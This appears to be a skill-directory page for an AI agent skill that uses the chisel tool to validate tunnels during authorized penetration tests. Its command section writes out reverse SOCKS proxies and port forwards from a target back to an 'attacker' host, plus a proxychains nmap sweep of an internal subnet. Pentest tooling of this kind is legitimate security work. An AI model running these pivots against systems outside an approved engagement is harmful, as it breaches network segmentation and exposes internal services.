# Chisel

> Use for tightly scoped tunneling and SOCKS or port-forward validation during authorized pentests. Trigger on approved network path testing, segmented service reachability review, and confirming whether a specific pivot path is technically possible.

- Skill: `timsonner/chisel` (Agent Skill)
- Install (CLI): `npx skillmds@latest add timsonner/chisel`
- Raw SKILL.md: https://api.skillmd.com/api/skills/timsonner/chisel/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: timsonner (https://skillmd.com/u/timsonner)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/timsonner/chisel

---


# Chisel

## Purpose

Use this skill only when the rules of engagement explicitly permit tunneling or pivot-path validation across named approved systems.

## Phase Fit

- Primary: Validation and Controlled Impact Demonstration
- Secondary: Retest and Closure

## Use When

- Need to validate whether a segmented service is reachable through an approved pivot path.
- Need controlled SOCKS or port-forward testing across a named path.
- Need a repeatable retest after segmentation hardening.

## Avoid When

- Tunneling or pivoting is not explicitly approved.
- Source, destination, or direction boundaries are unclear.

## Inputs

- Approved source and destination systems
- Explicit path and direction constraints
- Stop conditions and monitoring considerations

## Procedure

1. Limit the tunnel to the minimum ports and hosts needed.
2. Validate only the approved reachability question.
3. Stop once the network path hypothesis is answered.
4. Record exact server, client, and forwarding details.
5. Tear down the tunnel immediately after validation.

## Command Syntax

Replace sample hosts and ports with approved in-scope values.

```bash
# Start reverse-mode server on attacker
chisel server -p 8080 --reverse

# Target: create reverse SOCKS5 proxy back to attacker
chisel client 10.10.10.1:8080 R:socks

# Target: forward specific internal port to attacker
chisel client 10.10.10.1:8080 R:3306:192.168.1.100:3306

# Target: expose internal web service on attacker port 8443
chisel client 10.10.10.1:8080 R:8443:192.168.1.100:443

# Access tunnelled hosts through proxychains
# /etc/proxychains.conf: socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 192.168.1.0/24

# Bind-mode server on target (no outbound needed)
chisel server -p 9090 --socks5
chisel client 10.10.10.100:9090 socks
```

## Evidence to Capture

- Whether the approved pivot path succeeded
- Exact source, destination, and forwarding mode used
- Minimal proof needed for remediation

## Safety Boundaries

- Use only with explicit written approval.
- Keep tunnels short-lived, narrowly scoped, and fully documented.